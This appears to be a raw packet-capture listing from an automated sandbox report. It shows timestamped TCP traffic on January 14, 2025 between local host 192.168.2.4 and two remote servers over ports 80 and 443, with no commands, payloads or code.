                                                                                                                                                        Jan 14, 2025 08:08:12.528877020 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528908968 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528932095 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.528939962 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528973103 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.528985023 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.529006004 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.529037952 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.529055119 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.529069901 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.529102087 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.529119015 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.529130936 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.529162884 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.529176950 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.529197931 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.529226065 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.529251099 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.564378977 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564501047 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.564558029 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564604998 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564654112 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564686060 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564717054 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564764023 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564789057 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.564790010 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.564811945 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564843893 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564857960 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.564877033 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564907074 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564913988 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.564955950 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.564990044 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565043926 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565078020 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565095901 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565109015 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565141916 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565160990 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565171957 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565207005 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565223932 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565237999 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565270901 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565284967 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565304041 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565335989 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565350056 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565380096 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565412998 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565427065 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565464973 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565498114 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565519094 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565530062 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565579891 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565582037 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565614939 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565661907 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565668106 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565720081 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565768003 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565794945 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565815926 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565864086 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565865040 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565898895 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565931082 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565948009 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.565962076 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.565999985 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566009998 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566031933 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566076994 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566117048 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566148043 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566179991 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566191912 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566211939 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566260099 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566261053 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566293955 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566324949 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566339970 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566355944 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566389084 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566401958 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566420078 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566452026 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566466093 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566483974 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566519022 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566538095 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566550016 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566582918 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566597939 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566613913 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566646099 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566658974 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566678047 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566709995 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566723108 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566740990 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566773891 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566787004 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566806078 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566838026 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566850901 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566869974 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566901922 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566927910 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566932917 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566965103 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.566978931 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.566998005 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.567029953 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.567044020 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.571609020 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618033886 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618057966 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618072987 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618087053 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618100882 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618115902 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618129969 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618144035 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618159056 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618171930 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618185997 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618200064 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618259907 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618261099 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618262053 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618262053 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618262053 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618283033 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618305922 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618319988 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618335962 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618344069 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618350029 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618366003 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618371010 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618380070 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618393898 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618395090 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618412018 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618426085 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618441105 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618458986 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618458986 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618490934 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618511915 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618534088 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618547916 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618562937 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618585110 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618598938 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618613005 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618637085 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618649960 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618664980 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618678093 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618694067 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618709087 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618707895 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618707895 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618707895 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618707895 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618782043 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618794918 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618818045 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618833065 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618861914 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.618973970 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.618988991 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.619003057 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.619016886 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.619023085 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.619034052 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.619044065 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.619051933 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.619066954 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.619067907 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.619085073 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.619101048 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.619110107 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.619113922 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.619148970 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.619167089 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.655086994 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655137062 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655169010 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655216932 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655250072 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655297041 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655338049 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.655338049 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.655364990 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655395985 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655462980 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655494928 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655528069 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655555964 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.655561924 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655556917 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.655595064 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655626059 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.655627012 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655627012 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.655663967 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655697107 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655729055 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655760050 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655791998 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655824900 CET8049737147.124.216.113192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:12.655874014 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.655874014 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.655874014 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:12.655874014 CET4973780192.168.2.4147.124.216.113
                                                                                                                                                        Jan 14, 2025 08:08:13.243884087 CET49740443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:13.243923903 CET44349740166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:13.244050026 CET49740443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:13.244432926 CET49740443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:13.244525909 CET44349740166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:13.244976997 CET49740443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:13.277254105 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:13.277276993 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:13.277424097 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:13.278747082 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:13.278758049 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:14.579528093 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:14.579595089 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:14.583584070 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:14.583592892 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:14.584014893 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:14.625478029 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:14.638745070 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:14.683326006 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:14.953985929 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:14.954047918 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:14.954067945 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:14.954121113 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:14.954138041 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:14.954159021 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.006422997 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.170934916 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.170950890 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.170980930 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.171042919 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.171119928 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.171302080 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.171319962 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.171374083 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.172739029 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.172748089 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.172815084 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.173615932 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.173624039 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.173681974 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.388896942 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.388922930 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.388972998 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.389019966 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.389511108 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.389578104 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.389985085 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.390045881 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.390441895 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.390501976 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.391035080 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.391097069 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.392138958 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.392199039 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.392229080 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.392290115 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.606945038 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.606961966 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.607019901 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.607043982 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.607109070 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.607287884 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.607343912 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.607559919 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.607616901 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.607933044 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.607991934 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.608481884 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.608545065 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.608594894 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.608670950 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.609148026 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.609208107 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.609239101 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.609304905 CET49742443192.168.2.4166.62.27.188
                                                                                                                                                        Jan 14, 2025 08:08:15.611898899 CET44349742166.62.27.188192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:15.611960888 CET49742443192.168.2.4166.62.27.188
